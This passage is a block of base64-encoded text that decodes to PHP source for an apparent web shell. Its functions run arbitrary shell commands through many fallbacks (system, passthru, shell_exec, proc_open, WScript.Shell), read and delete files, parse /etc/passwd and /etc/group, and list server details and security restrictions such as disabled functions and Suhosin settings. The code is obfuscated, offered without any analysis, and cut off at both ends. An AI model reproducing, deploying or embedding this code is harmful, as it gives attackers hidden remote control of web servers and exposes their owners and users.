VWVRSRVdRMDk4NzY1NDMyMSc7CgkkdiA9ICcuJzsKCWZvcigkaSA9IDA7ICRpIDwgODsgKyskaSkgJHYgLj0gJGFbcmFuZCgwLDYxKV07CglyZXR1cm4gJHYuJy50bXAnOwp9CgpmdW5jdGlvbiB0ZW1wRmlsZSgkdil7CglpZigoJG4gPSB0ZW1wbmFtKE5JWCA/ICcvdG1wJyA6ICdjOlxcVGVtcCcsICcnKSkgJiYgKHdyaXRlRmlsZSgkbiwgJHYpKSkgcmV0dXJuICRuOwoJJGEgPSBhcnJheSgndXBsb2FkX3RtcF9kaXInLCdzZXNzaW9uLnNhdmVfcGF0aCcsJ3VzZXJfZGlyJywnZG9jX3Jvb3QnKTsKCQoJZm9yZWFjaCgkYSBhcyAkaykKCQlpZigkbiA9IGluaV9nZXQoJGspKXsKCQkJJG4gLj0gRFNDLnRlbXBOYW1lKCk7CgkJCWlmKHdyaXRlRmlsZSgkbiwgJHYpKSByZXR1cm4gJG47CgkJfQoJCQoJCSRuID0gc2VsZlBhdGgoKS50ZW1wTmFtZSgpOwoJCQoJCWlmKHdyaXRlRmlsZSgkbiwgJHYpKSByZXR1cm4gJG47CgkKCXJldHVybiBGQUxTRTsKfQoKZnVuY3Rpb24gZ2V0RmlsZSgkcCl7CgkkdiA9IE5VTEw7CgkKCWlmKCR2ID0gZm9wZW4oJHAsJ3JiJykpewoJCSRyID0gJyc7CgkJd2hpbGUoIWZlb2YoJHYpKSAkciAuPSBmcmVhZCgkdiwgMTA0ODU3Nik7CgkJZmNsb3NlKCR2KTsKCQlyZXR1cm4gJHI7Cgl9CgkKCWlmKFBIUF9WRVJTSU9OID49ICc0LjMnKXsKCQkkdiA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRwKTsKCQlpZihpc19zdHJpbmcoJHYpKSByZXR1cm4gJHY7Cgl9CgkKCSR2ID0gZmlsZSgkcCk7CglpZihpc19hcnJheSgkdikpIHJldHVybiBpbXBsb2RlKCcnLCR2KTsKCQoJaWYoUEhQX1ZFUlNJT04+PSc1JykgOiBpZihQSFBfVkVSU0lPTj49JzUuMScpewoJCXRyeXsKCQkJJHYgPSBuZXcgU3BsRmlsZU9iamVjdCgkcCwncmInKTsKCQl9CgkJY2F0Y2goRXhjZXB0aW9uICRlKXsKCQkJJHYgPSBGQUxTRTsKCQl9CgkKCQlpZigkdil7CgkJCSRyID0gJyc7CgkJCXdoaWxlKCEkdi0+ZW9mKCkpICRyIC49ICR2LT5mZ2V0cygpOwoJCQl1bnNldCgkdik7CgkJCXJldHVybiRyOwoJCX0KCX0KCWVuZGlmOwoJCglpZihSTyAmJiBkZWZpbmVkKCdGT1JDRV9HWklQJykpewoJCWlmKCR2ID0gZ3pvcGVuKCRwKSl7CgkJCSRyPScnOwoJCQl3aGlsZSghZ3plb2YoJHYpKSAkciAuPSBnenJlYWQoJHYsIDEwNDg1NzYpOwoJCQlnemNsb3NlKCR2KTsKCQkJcmV0dXJuICRyOwoJCX0KCQkkdiA9IGd6ZmlsZSgkcCk7CgkJaWYoaXNfYXJyYXkoJHYpKSByZXR1cm4gaW1wbG9kZSgnJywkdik7Cgl9CgkKCWlmKFJPICYmICR2PW9iX3N0YXJ0KCkpewoJCWlmKGlzX2ludChyZWFkZmlsZSgkcCkpIHx8IGNvcHkoJHAsICdwaHA6Ly9vdXRwdXQnKSB8fCAoZGVmaW5lZCgnRk9SQ0VfR1pJUCcpICYmIGlzX2ludChyZWFkZ3pmaWxlKCRwKSkpKXsKCQkJJHIgPSBvYl9nZXRfY29udGVudHMoKTsKCQkJb2JfZW5kX2NsZWFuKCk7CgkJCXJldHVybiAkcjsKCQl9CgkJb2JfZW5kX2NsZWFuKCk7Cgl9CgkKCXJldHVybiBGQUxTRTsKfQoKZnVuY3Rpb24gZGVsRmlsZSgkcCl7CglyZXR1cm4gKHVubGluaygkcCkgfHwgKE5JWCAmJiByZW5hbWUoJHAsJy9kZXYvbnVsbCcpICYmICFpc19maWxlKCRwKSAmJiAhZmlsZV9leGlzdHMoJHApKSk7Cn0KCmZ1bmN0aW9uIG5lc2MoJHYpewoJcmV0dXJuICInIi5zdHJfcmVwbGFjZSgiJyIsICdcJyJcJyJcJycsICR2KS4iJyI7Cn0KCmZ1bmN0aW9uIHdlc2MoJHYpewoJcmV0dXJuIHN0cl9yZXBsYWNlKGFycmF5KCdeJywgJyYnLCAnXFwnLCAnPCcsICc+JywgJ3wnKSwgYXJyYXkoJ15eJywgJ14mJywgJ15cXCcsICdePCcsICdePicsICdefCcpLCAkdik7Cn0KCmZ1bmN0aW9uIGV4ZSgkY21kLCAkZm5jLCAkc2ggPSAnJywgJHNlID0gVFJVRSwgJG9yID0gJycpIHsKCSRzZSA9ICcyPicgLiAoJHNlID8gJyYxJyA6IChOSVggPyAnL2Rldi9udWxsJyA6ICdudWwnKSkgLiAkb3I7CglpZiAoTklYKQoJCSRzYyA9ICdlY2hvICcgLiBuZXNjKCRjbWQpIC4gJ3wnIC4gKCRzaCA9PT0gJycgPyAnJDAnIDogJHNoKSAuICcgJyAuICRzZSAuICcgJiBleGl0JzsKCWVsc2UKCQkkc2MgPSAoJHNoID09PSAnJyA/ICcoJyAuICRjbWQgLiAnKScgOiAkc2ggLiAnIC9DICcgLiB3ZXNjKCRjbWQpIC4gJyAnKSAuICRzZTsKCXN3aXRjaCAoJGZuYykgewoJCWNhc2UgMDoKCQkJc3lzdGVtKCRzYyk7CgkJCWJyZWFrOwoJCWNhc2UgMToKCQkJcGFzc3RocnUoJHNjKTsKCQkJYnJlYWs7CgkJY2FzZSAyOgoJCQllY2hvIGAkc2NgOwoJCQlicmVhazsKCQljYXNlIDM6CgkJCWVjaG8gc2hlbGxfZXhlYygkc2MpOwoJCQlicmVhazsKCQljYXNlIDQ6CgkJCSRyID0gTlVMTDsKCQkJZXhlYygkc2MsICRyKTsKCQkJaWYgKGlzX2FycmF5KCRyKSkKCQkJCWZvcmVhY2ggKCRyIGFzICR2KQoJCQkJCWVjaG8gJHYsICJcbiI7CgkJCWJyZWFrOwoJCWNhc2UgNToKCQkJaWYgKCRoID0gcG9wZW4oJHNjLCAncicpKSB7CgkJCQl3aGlsZSAoIWZlb2YoJGgpKQoJCQkJCWVjaG8gZnJlYWQoJGgsIDEwMjQpOwoJCQkJcGNsb3NlKCRoKTsKCQkJfQoJCQlicmVhazsKCQljYXNlIDY6CgkJCWlmKCRoID0gcHJvY19vcGVuKCRzYyxhcnJheShhcnJheSgncGlwZScsJ3InKSwgYXJyYXkoJ3BpcGUnLCd3JyksIGFycmF5KCdwaXBlJywnYScpKSwkcCkpewoJCQkJZWNobyBzdHJlYW1fZ2V0X2NvbnRlbnRzKCRwWzFdKTsKCQkJCWZjbG9zZSgkcFswXSk7CgkJCQlmY2xvc2UoJHBbMV0pOwoJCQkJcHJvY19jbG9zZSgkaCk7CgkJCX0KCQkJYnJlYWs7CgkJY2FzZSA3OgoJCQlpZiAoJGggPSBuZXcgQ09NKCdXU2NyaXB0LlNoZWxsJykpCgkJCQllY2hvICRoLT5FeGVjKCgkc2ggPT09ICcnID8gJ2NtZCcgOiAkc2gpIC4gJyAvQyAnIC4gJGNtZCAuICcgJyAuICRzZSktPlN0ZE91dC0+UmVhZEFsbCgpOwoJCQlicmVhazsKCQljYXNlIDEwMToKCQkJZWNobyBzYWZlbW9kZSgkY21kKTsKCX0KfQoKCmZ1bmN0aW9uIHVOYW1lKCRpZCl7CglpZigkaWQgPT09IC0xKSByZXR1cm4nPyc7CgkKCXN0YXRpYyAkYSA9IE5VTEwsICRmID0gRkFMU0U7CgkKCWlmKCRhID09PSBOVUxMKXsKCQlpZigkdiA9IGdldEZpbGUoJy9ldGMvcGFzc3dkJykpewoJCQkkYSA9IGFycmF5KCk7CgkJCSR2ID0gZXhwbG9kZSgiXG4iLCAkdik7CgkJCWZvcmVhY2goJHYgYXMgJGkpCgkJCQlpZigkaSl7CgkJCQkJJGkgPSBleHBsb2RlKCc6JywkaSw0KTsKCQkJCQkkYVskaVsyXV09JGlbMF07CgkJCQl9CgkJfQoJCWVsc2VpZihkZWZpbmVkKCdQT1NJWF9GX09LJykgfHwgZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRwd3VpZCcpKQoJCQkkZiA9IChib29sKXBvc2l4X2dldHB3dWlkKDApOwoJfQoJCglpZigkYSkKCQlpZihpc3NldCgkYVskaWRdKSkgcmV0dXJuICRhWyRpZF07CgllbHNlaWYoJGYpCgkJaWYoJHYgPSBwb3NpeF9nZXRwd3VpZCgkaWQpKSByZXR1cm4gJHZbJ25hbWUnXTsKCQoJcmV0dXJuICRpZDsKfQoKZnVuY3Rpb24gZ05hbWUoJGlkKXsKCWlmKCRpZCA9PT0gLTEpIHJldHVybic/JzsKCQoJc3RhdGljICRhID0gTlVMTCwgJGYgPSBGQUxTRTsKCQoJaWYoJGEgPT09IE5VTEwpewoJCWlmKCR2ID0gZ2V0RmlsZSgnL2V0Yy9ncm91cCcpKXsKCQkJJGEgPSBhcnJheSgpOwoJCQkkdiA9IGV4cGxvZGUoIlxuIiwkdik7CgkJCWZvcmVhY2goJHYgYXMkaSkKCQkJCWlmKCRpKXsKCQkJCQkkaSA9IGV4cGxvZGUoJzonLCAkaSwgNCk7CgkJCQkJJGFbJGlbMl1dID0gJGlbMF07CgkJCQl9CgkJfQoJCWVsc2VpZihkZWZpbmVkKCdQT1NJWF9GX09LJykgfHwgZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRncmdpZCcpKSAkZiA9IChib29sKXBvc2l4X2dldGdyZ2lkKDApOwoJfQoKCWlmKCRhKQoJCWlmKGlzc2V0KCRhWyRpZF0pKSByZXR1cm4gJGFbJGlkXTsKCWVsc2VpZigkZikKCQlpZigkdiA9IHBvc2l4X2dldGdyZ2lkKCRpZCkpIHJldHVybiAkdlsnbmFtZSddOwoJCglyZXR1cm4kaWQ7Cgp9CgpmdW5jdGlvbiBnZXRJTkkoJHMsICYkdil7CgkkdiA9IHRyaW0oaW5pX2dldCgkcykpOwoJcmV0dXJuICR2IT09Jyc7Cn0KCmZ1bmN0aW9uIGlzSU5JKCR2KXsKCSR2ID0gc3RydG9sb3dlcih0cmltKGluaV9nZXQoJHYpKSk7CglyZXR1cm4gKCR2ID09PSAnMScgfHwgJHYgPT09ICdvbicpOwp9CgpmdW5jdGlvbiBzYW1lUGF0aCgkYSl7CgkkcCA9IE5VTEw7Cglmb3JlYWNoKCRhIGFzICR2KXsKCQkkdiA9IGFycmF5X3NsaWNlKGV4cGxvZGUoRFNDLCBydHJpbSgkdixEU0MpKSwgMCwgLTEpOwoJCWlmKCRwID09PSBOVUxMKSAkcCA9ICR2OwoJCWVsc2V7CgkJCSRrPWFycmF5KCk7CgkJCSRjPWNvdW50KCRwKTsKCQkJJGk9Y291bnQoJHYpOwoJCQlpZigkaSA8ICRjKSAkYz0kaTsKCQkJZm9yKCRpPTA7ICRpIDwgJGM7ICsrJGkpCgkJCWlmKCRwWyRpXSA9PT0gJHZbJGldKSAka1tdID0gJHBbJGldOwoJCQllbHNlCgkJCQlicmVhazsKCQkJJHAgPSAkazsKCQkJaWYoJGk9PT0wKSBicmVhazsKCQkJfQoJfQoJCglyZXR1cm4gY291bnQoJHApID09PSAwID8gJyc6IGltcGxvZGUoRFNDLCAkcCkuRFNDOwp9CgpmdW5jdGlvbiBlc2NGaWxlTmFtZSgkdil7CglyZXR1cm4gc3RyX3JlcGxhY2UoYXJyYXkoJyUnLCcvJywnXFwnLCc6JywnKicsJz8nLCciJywnPCcsJz4nLCd8JyksIGFycmF5KCclMjUnLCJceGUyXHg5NVx4YjEiLCJceGUyXHg5NVx4YjIiLCJceGVhXHg5ZVx4ODkiLCJceGUyXHg4OFx4OTciLCAnJTNGJywgIlx4ZTJceDgwXHg5ZiIsICclM0MnLCAnJTNFJywiXHhlMlx4ODhceGEzIiksICR2KTsKfQoKZnVuY3Rpb24gaW5mTWFpbigkaCA9IEZBTFNFKXsKCWVjaG8gJGggPyAnPHRhYmxlIGlkPSJ0YmxJbmYiPjx0ciB0aXRsZT0iSFRUUCBIb3N0LCBTZXJ2ZXIgQWRkciwgU2VydmVyIE5hbWUsIEhvc3QgTmFtZSwgSG9zdCBJUCI+PHRoPicgOiAnW3siJywnQWRkcmVzcycsICRoID8gJzwvdGg+PHRkPicgOiAnIjonOwoJJGEgPSBhcnJheSgpOwoJCglmb3JlYWNoKGFycmF5KCdIVFRQX0hPU1QnLCdTRVJWRVJfQUREUicsJ1NFUlZFUl9OQU1FJykgYXMgJHYpCgkJaWYoaXNzZXQoJF9TRVJWRVJbJHZdKSl7CgkJCSR2ID0gdHJpbSgkX1NFUlZFUlskdl0pOwoJCQlpZigkdiE9PScnJiYhaW5fYXJyYXkoJHYsJGEpKSRhW109JHY7CgkJfQoJCQoJCWlmKCR2ID0gcGhwX3VuYW1lKCduJykpewoJCQkkdiA9IHRyaW0oJHYpOwoJCQlpZigkdiAhPT0gJycgJiYgIWluX2FycmF5KCR2LCRhKSkgJGFbXSA9ICR2OwoJCX0KCQkKCQlpZihQSFBfVkVSU0lPTj49JzUuMycgJiYgKCR2ID0gZ2V0aG9zdG5hbWUoKSkpewoJCQkkdiA9IHRyaW0oJHYpOwoJCQlpZigkdiAhPT0gJycgJiYgIWluX2FycmF5KCR2LCRhKSkgJGFbXSA9ICR2OwoJCX0KCQkKCQkkcj0nJzsKCQlmb3JlYWNoKCRhIGFzICRrID0+ICR2KXsKCQkJaWYoJGsgPiAwKSAkci49JyAvICc7CgkJCSRyIC49ICR2OwoJCQlpZigkaT1nZXRob3N0YnluYW1lbCgkdikpewoJCQkJJGIgPSBGQUxTRTsKCQkJCWZvcmVhY2goJGkgYXMgJHYpCgkJCQkJaWYoIWluX2FycmF5KCR2LCAkYSkpewoJCQkJCQkkYVtdID0gJHY7CgkJCQkJCWlmKCRiKSAkciAuPSAnLCAnOwoJCQkJCQllbHNleyRiID0gVFJVRTsgJHIgLj0gJyAoJzt9ICRyIC49ICR2OwoJCQkJCX0KCQkJCQkKCQkJCQlpZigkYikgJHIgLj0gJyknOwoJCQl9CgkJCWVsc2VpZigoJGkgPSBnZXRob3N0YnluYW1lKCR2KSkgJiYgIWluX2FycmF5KCR2LCAkYSkpewoJCQkJJGFbXSA9ICR2OwoJCQkJJHIgLj0gJyAoJy4kdi4nKSc7CgkJCX0KCQl9CgkJCgkJaWYoJGgpIGVjaG8gZXNjSFRNTCgkcik7CgkJZWxzZSBqc29uRWNobygkcik7CgkJCgkJZWNobyAkaCA/ICc8L3RkPjwvdHI+PHRyPjx0aD4nIDogJywiJywnU3lzdGVtJywgJGggPyAnPC90aD48dGQ+JyA6ICciOic7CgkJCgkJJHIgPSAnJzsKCQlpZigoJHYgPSB0cmltKHBocF91bmFtZSgncycpLicgJy5waHBfdW5hbWUoJ3InKS4nICcucGhwX3VuYW1lKCd2JykuJyAnLnBocF91bmFtZSgnbScpKSkgIT09ICcnKSAkciA9ICR2OwoJCWVsc2VpZihOSVggJiYgKCR2ID0gZ2V0RmlsZSgnL3Byb2MvdmVyc2lvbicpKSkgJHIgPSAkdjsKCQllbHNlewoJCQlpZihkZWZpbmVkKCdQSFBfT1MnKSkgJHIgPSBQSFBfT1M7CgkJCWVsc2UgJHIgPSBOSVggPyAnKk5JWCcgOiAnV2luZG93cyc7CgkJCQoJCQlpZighTklYKXsKCQkJCSRhID0gYXJyYXkoKTsKCQkJCWZvcmVhY2goYXJyYXkoJ1BIUF9XSU5ET1dTX1ZFUlNJT05fTUFKT1InLCdQSFBfV0lORE9XU19WRVJTSU9OX01JTk9SJywnUEhQX1dJTkRPV1NfVkVSU0lPTl9CVUlMRCcpIGFzICR2KSBpZihkZWZpbmVkKCR2KSkgJGFbXSA9IGNvbnN0YW50KCR2KTsKCQkJCQoJCQkJaWYoJGEpICRyIC49JyAnLmltcGxvZGUoJy4nLCAkYSk7CgkJCQlpZihkZWZpbmVkKCdQSFBfV0lORE9XU19WRVJTSU9OX1NQX01BSk9SJykgJiYgUEhQX1dJTkRPV1NfVkVSU0lPTl9TUF9NQUpPUiA+IDApewoJCQkJCSRyIC49ICcgU1AnLlBIUF9XSU5ET1dTX1ZFUlNJT05fU1BfTUFKT1I7CgkJCQkJaWYoZGVmaW5lZCgnUEhQX1dJTkRPV1NfVkVSU0lPTl9TUF9NSU5PUicpICYmIFBIUF9XSU5ET1dTX1ZFUlNJT05fU1BfTUlOT1IgPiAwKSAkciAuPSAnLicuUEhQX1dJTkRPV1NfVkVSU0lPTl9TUF9NSU5PUjsKCQkJCX0KCQkJfQoJCX0KCQkKCQlpZihOSVggJiYgKCgkdiA9IHRyaW0oZ2V0RmlsZSgnL2V0Yy9pc3N1ZS5uZXQnKSkpICE9PSAnJyB8fCAoJHYgPSB0cmltKGdldEZpbGUoJy9ldGMvaXNzdWUnKSkpICE9PSAnJykpICRyIC49ICcgKCcuJHYuJyknOwoJCQoJCWlmKCRoKQoJCQllY2hvIGVzY0hUTUwoJHIpOwoJCWVsc2UKCQkJanNvbkVjaG8oJHIpOwoJCQoJCWlmKCFlbXB0eSgkX1NFUlZFUlsnU0VSVkVSX1NPRlRXQVJFJ10pKXsKCQkJZWNobyAkaCA/JzwvdGQ+PC90cj48dHI+PHRoPicgOiAnLCInLCdTZXJ2ZXInLCAkaCA/ICc8L3RoPjx0ZD4nOiciOic7CgkJCWlmKCRoKQoJCQkJZWNobyBlc2NIVE1MKCRfU0VSVkVSWydTRVJWRVJfU09GVFdBUkUnXSk7CgkJCWVsc2UKCQkJCWpzb25FY2hvKCRfU0VSVkVSWydTRVJWRVJfU09GVFdBUkUnXSk7CgkJfQoJCQoJCWVjaG8gJGggPyAnPC90ZD48L3RyPjx0cj48dGg+JyA6ICcsIicsJ1NvZnR3YXJlJywgJGggPyAnPC90aD48dGQ+JyA6ICciOic7CgkJCgkJJHIgPSAnUEhQLycuUEhQX1ZFUlNJT047CgkJCgkJaWYoZGVmaW5lZCgnU1VIT1NJTl9QQVRDSF9WRVJTSU9OJykpICRyIC49ICcgd2l0aCBTdWhvc2luIHBhdGNoLycuU1VIT1NJTl9QQVRDSF9WRVJTSU9OOwoJCQoJCSRyIC49ICc7ICc7CgkJaWYoZGVmaW5lZCgnQ1VSTEVfT0snKSl7CgkJCSRyIC49ICdjVVJMJzsKCQkJJHYgPSBjdXJsX3ZlcnNpb24oKTsKCQkJaWYoaXNzZXQoJHZbJ3ZlcnNpb24nXSkpICRyLj0nLycuJHZbJ3ZlcnNpb24nXTsKCQkJJHIuPSc7ICc7CgkJfQoJCQoJCWlmKCR2ID0gcGhwdmVyc2lvbignU3Vob3NpbicpKSAkci49JyBTdWhvc2luLycuJHY7CgkJCgkJaWYoJGgpCgkJCWVjaG8gZXNjSFRNTCgkcik7CgkJZWxzZQoJCQlqc29uRWNobygkcik7CgkJCQoJCWVjaG8gJGggPyAnPC90ZD48L3RyPjx0cj48dGg+JyA6ICcsIicsJ1VzZXInLCAkaCA/ICc8L3RoPjx0ZD4nIDogJyI6JzsKCQkKCQkkcj0nJzsKCQkkYSA9IGFycmF5KCk7CgkJaWYoTklYKXsKCQkJaWYoZGVmaW5lZCgnUE9TSVhfRl9PSycpIHx8IGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZXVpZCcpKXsKCQkJCWlmKGlzX2ludCgkdiA9IHBvc2l4X2dldGV1aWQoKSkpICRyIC49ICdldWlkPScuJHYuJygnLnVOYW1lKCR2KS4nKTsgJzsKCQkJCWlmKGlzX2ludCgkdiA9IHBvc2l4X2dldGVnaWQoKSkpICRyIC49ICdlZ2lkPScuJHYuJygnLmdOYW1lKCR2KS4nKTsgJzsKCQkJfQoJCQkKCQkJaWYoaXNfaW50KCR2ID0gZ2V0bXl1aWQoKSkpICRyIC49ICdvdWlkPScuJHYuJygnLnVOYW1lKCR2KS4nKTsgJzsKCQkJaWYoaXNfaW50KCR2ID0gZ2V0bXlnaWQoKSkpICRyIC49ICdvZ2lkPScuJHYuJygnLmdOYW1lKCR2KS4nKTsgJzsKCQl9CgkJCgkJJGIgPSBGQUxTRTsKCQkKCQlmb3JlYWNoKGFycmF5KCdSRU1PVEVfQUREUicsJ0hUVFBfWF9SRUFMX0lQJywnSFRUUF9DTElFTlRfSVAnLCdIVFRQX1hfRk9SV0FSREVEX0ZPUicpIGFzICRpKXsKCQkJaWYoIWVtcHR5KCRfU0VSVkVSWyRpXSkpewoJCQkJaWYoJGIpCgkJCQkJJHIuPSAnLCAnOwoJCQkJZWxzZXsKCQkJCQkkYiA9IFRSVUU7CgkJCQkJJHIgLj0gJ0lQOiAnOwoJCQkJfQoJCQkJCgkJCQkkciAuPSAkX1NFUlZFUlskaV07CgkJCX0KCQl9CgkJCgkJaWYoJGIpCgkJCSRyIC49ICc7JzsKCQlpZigkaCkKCQkJZWNobyBlc2NIVE1MKCRyKTsKCQllbHNlCgkJCWpzb25FY2hvKCRyKTsKCQkKCQllY2hvICRoID8gJzwvdGQ+PC90cj48dHI+PHRoIGNvbHNwYW49IjIiPjwvdGg+PC90cj48dHI+PHRoPic6J30seyInLCdTYWZlIG1vZGUnLCAkaCA/ICc8L3RoPjx0ZD4nIDogJyI6JzsKCQkKCQlpZihpc0lOSSgnc2FmZV9tb2RlJykpewoJCQkkdiA9IGlzSU5JKCdzYWZlX21vZGVfZ2lkJykgPyAnR0lEJzonVUlEJzsKCQkJZWNobyAkaCA/ICR2IDogJyInLiR2LiciJzsKCQkJZm9yZWFjaChhcnJheSgnSW5jbHVkZSBkaXInID0+ICdzYWZlX21vZGVfaW5jbHVkZV9kaXInLCdFeGVjIGRpcicgPT4gJ3NhZmVfbW9kZV9leGVjX2RpcicsICdWYXJzIHByZWZpeGVzJyA9PiAnc2FmZV9tb2RlX2FsbG93ZWRfZW52X3ZhcnMnLCAnUHJvdGVjdGVkIHZhcnMnID0+ICdzYWZlX21vZGVfcHJvdGVjdGVkX2Vudl92YXJzJykgYXMgJGsgPT4gJHYpewoJCQkJaWYoIWdldElOSSgkdiwgJHYpKSAkdiA9ICctJzsKCQkJCQoJCQkJZWNobyAkaCA/ICc8L3RkPjwvdHI+PHRyPjx0aD4nIDogJywiJywgJGssICRoPyc8L3RoPjx0ZD4nIDogJyI6JzsKCQkJCWlmKCRoKQoJCQkJCWVjaG8gZXNjSFRNTCgkdik7CgkJCQllbHNlCgkJCQkJanNvbkVjaG8oJHYpOwoJCQl9CgkJfQoJCWVsc2UKCQkJZWNobyAkaCA/ICctJyA6ICciLSInOwoJCQoJCWVjaG8gJGggPyAnPC90ZD48L3RyPicgOiAnJzsKCQlmb3JlYWNoKGFycmF5KCdPcGVuIGJhc2VkaXInID0+ICdvcGVuX2Jhc2VkaXInLCAnRGlzYWJsZWQgZnVuY3Rpb25zJyA9PiAnZGlzYWJsZV9mdW5jdGlvbnMnLCAnRGlzYWJsZWQgY2xhc3NlcycgPT4gJ2Rpc2FibGVfY2xhc3NlcycpIGFzICRrID0+ICR2KXsKCQkJaWYoIWdldElOSSgkdiwgJHYpKSAkdiA9ICctJzsKCQkJZWNobyAkaCA/ICc8dHI+PHRoPicgOiAnLCInLCAkaywgJGggPyAnPC90aD48dGQ+JyA6ICciOic7CgkJCWlmKCRoKQoJCQkJZWNobyBlc2NIVE1MKCR2KSwnPC90ZD48L3RyPic7CgkJCWVsc2UKCQkJCWpzb25FY2hvKCR2KTt9CgkJCQoJCQlpZihnZXRJTkkoJ3N1aG9zaW4uc2ltdWxhdGlvbicsICR2KSl7CgkJCQllY2hvICRoID8gJzx0cj48dGggY29sc3Bhbj0iMiI+PC90aD48L3RyPjx0cj48dGg+JyA6ICd9LHsiJywgJ1N1aG9zaW4gbW9kZScsICRoID8gJzwvdGg+PHRkPicgOiAnIjoiJywgJHYgPyAnc2ltdWxhdGlvbicgOiAnYnJlYWsnLCAkaCA/ICc8L3RkPjwvdHI+PHRyPjx0aD4nIDogJyIsIicsJ0FsbG93IHJld3JpdGUnLCAkaCA/ICc8L3RoPjx0ZD4nIDogJyI6JzsKCQkJCQoJCQlpZighZ2V0SU5JKCdzdWhvc2luLnBlcmRpcicsICR2KSB8fCAhJHYpICR2ID0gJy0nOwoJCQkKCQkJaWYoJGgpCgkJCQllY2hvIGVzY0hUTUwoJHYpLCc8L3RkPjwvdHI+JzsKCQkJZWxzZSBqc29uRWNobygkdik7CgkJCQoJCQlmb3JlYWNoKGFycmF5KCdGdW5jdGlvbnMgd2hpdGVsaXN0JyA9PiAnc3Vob3Npbi5leGVjdXRvci5mdW5jLndoaXRlbGlzdCcsICdGdW5jdGlvbnMgYmxhY2tsaXN0JyA9PiAnc3Vob3Npbi5leGVjdXRvci5mdW5jLmJsYWNrbGlzdCcsICdFdmFsIHdoaXRlbGlzdCcgPT4gJ3N1aG9zaW4uZXhlY3V0b3IuZXZhbC53aGl0ZWxpc3QnLCAnRXZhbCBibGFja2xpc3QnID0+ICdzdWhvc2luLmV4ZWN1dG9yLmV2YWwuYmxhY2tsaXN0JykgYXMgJGsgPT4gJHYpewoJCQkJaWYoIWdldElOSSgkdiwgJHYpKSAkdiA9ICctJzsKCQkJCWVjaG8gJGggPyAnPHRyPjx0aD4nIDogJywiJywgJGssICRoID8gJzwvdGg+PHRkPicgOiAnIjonOwoJCQkJaWYoJGgpCgkJCQkJZWNobyBlc2NIVE1MKCR2KSwnPC90ZD48L3RyPic7CgkJCQllbHNlIGpzb25FY2hvKCR2KTsKCQkJfQoJCQkKCQkJJGEgPSBhcnJheSgnZXZhbCcgPT4gJ3N1aG9zaW4uZXhlY3V0b3IuZGlzYWJsZV9ldmFsJywgJy9lIG1vZGlmaWVyJyA9PiAnc3Vob3Npbi5leGVjdXRvci5kaXNhYmxlX2Vtb2RpZmllcicpOwoJCQkKCQkJJGkgPSBhcnJheSgpOwoJCQlmb3JlYWNoKCRhIGFzJGsgPT4gJHYpCgkJCQlpZihpc0lOSSgkdikpICRpW10gPSAkazsKCQkJCWVjaG8gJGggPyAnPHRyPjx0aD4nIDogJywiJywgJ0Rpc2FibGVkJywgJGggPyc8L3RoPjx0ZD4nIDogJyI6IicsICRpID8gaW1wbG9kZSgnLCAnLCAkaSkgOiAnLScsICRoID8gJzwvdGQ+PC90cj4nIDogJyInOwoJCQkJaWYoaXNJTkkoJ3N1aG9zaW4ubG9nLmZpbGUnKSAmJiBnZXRJTkkoJ3N1aG9zaW4ubG9nLmZpbGUubmFtZScsICR2KSl7CgkJCQkJZWNobyAkaCA/ICc8dHI+PHRoPicgOiAnLCInLCdMb2cgZmlsZScsICRoID8gJzwvdGg+PHRkPicgOiAnIjonOwoJCQkJCWlmKCRoKQoJCQkJCQllY2hvIGVzY0hUTUwoJHYpLCc8L3RkPjwvdHI+JzsKCQkJCQllbHNlCgkJCQkJCWpzb25FY2hvKCR2KTsKCQkJCX0KCQl9CgkJCgllY2hvICRoID8gJzwvdGFibGU+JyA6ICd9XSc7Cn0KCgpmdW5jdGlvbiBwYXJzZVBhdGgoJHAsICYkYiwgJiRuKXsKCSR2ID0gcnRyaW0oJHAsIERTQyk7CgkkaSA9IHN0cnJwb3MoJHYsRFNDKTsKCWlmKCRpID09PSBGQUxTRSl7CgkJaWYoIU5JWCAmJiBzdHJsZW4oJHYpID09PSAyICYmICR2WzFdID09PSAnOicpewoJCQkkYiA9ICR2LkRTQzsKCQkJJG4gPSAnJzsKCQl9CgkJZWxzZXsKCQkJJGIgPSBEU0M7CgkJCSRuID0gJHY7CgkJfQoJfQoJZWxzZXsKCQkkYiA9IHN1YnN0cigkdiwwLCRpKzEpOwoJCSRuID0gc3Vic3RyKCR2LCRpKzEpOwoJfQp9CgoKY2xhc3MgRmlsZUluZm97CgkKCWZ1bmN0aW9uIF9fY29uc3RydWN0KCR2KXsKCQlpZihpc19zdHJpbmcoJHYpKXsKCQkJJHRoaXMtPmZiID0gJyc7CgkJCSR0aGlzLT5mbj0gJycgOwoJCQkKCQkJcGFyc2VQYXRoKCR2LCAkdGhpcy0+ZmIsICR0aGlzLT5mbik7CgkJCSR0aGlzLT5mcCA9ICR0aGlzLT5mYi4kdGhpcy0+Zm47CgkJfQoJCWVsc2V7CgkJCSR0aGlzLT5maSA9ICR2OwoJCQkkdGhpcy0+ZnAgPSAkdi0+Z2V0UGF0aE5hbWUoKTsKCQkJJHRoaXMtPmZiID0gJHYtPmdldFBhdGgoKTsKCQkJJHRoaXMtPmZuID0gJHYtPmdldEZpbGVOYW1lKCk7CgkJfQoJCQoJCSR0aGlzLT5ycCA9ICR0aGlzLT5mcDsKCQlpZigkdGhpcy0+aXNMaW5rKCkpewoJCQkkdGhpcy0+cnAgPSAkdGhpcy0+Z2V0TGlua1RhcmdldCgpOwoJCQlpZihpc3NldCgkdGhpcy0+dCkpIHVuc2V0KCR0aGlzLT50KTsKCQkJaWYoaXNzZXQoJHRoaXMtPmZpKSkgdW5zZXQoJHRoaXMtPmZpKTsKCQl9Cgl9CgkKCWZ1bmN0aW9uIGdldFBhdGgoKXsKCQlyZXR1cm4kdGhpcy0+ZmI7Cgl9CgkKCWZ1bmN0aW9uIGdldEZpbGVOYW1lKCl7CgkJcmV0dXJuJHRoaXMtPmZuOwoJfQoJCglmdW5jdGlvbiBnZXRQYXRoTmFtZSgpewoJCXJldHVybiR0aGlzLT5mcDsKCX0KCQoJZnVuY3Rpb24gaXNEaXIoKXsKCQlpZihpc3NldCgkdGhpcy0+ZCkpIHJldHVybiR0aGlzLT5kOwoJCWlmKCFpc3NldCgkdGhpcy0+cCkpICR0aGlzLT5nZXRQZXJtcygpOwoJCWlmKCR0aGlzLT5wICE9PSAwKXsKCQkJJHRoaXMtPmQgPSAoJHRoaXMtP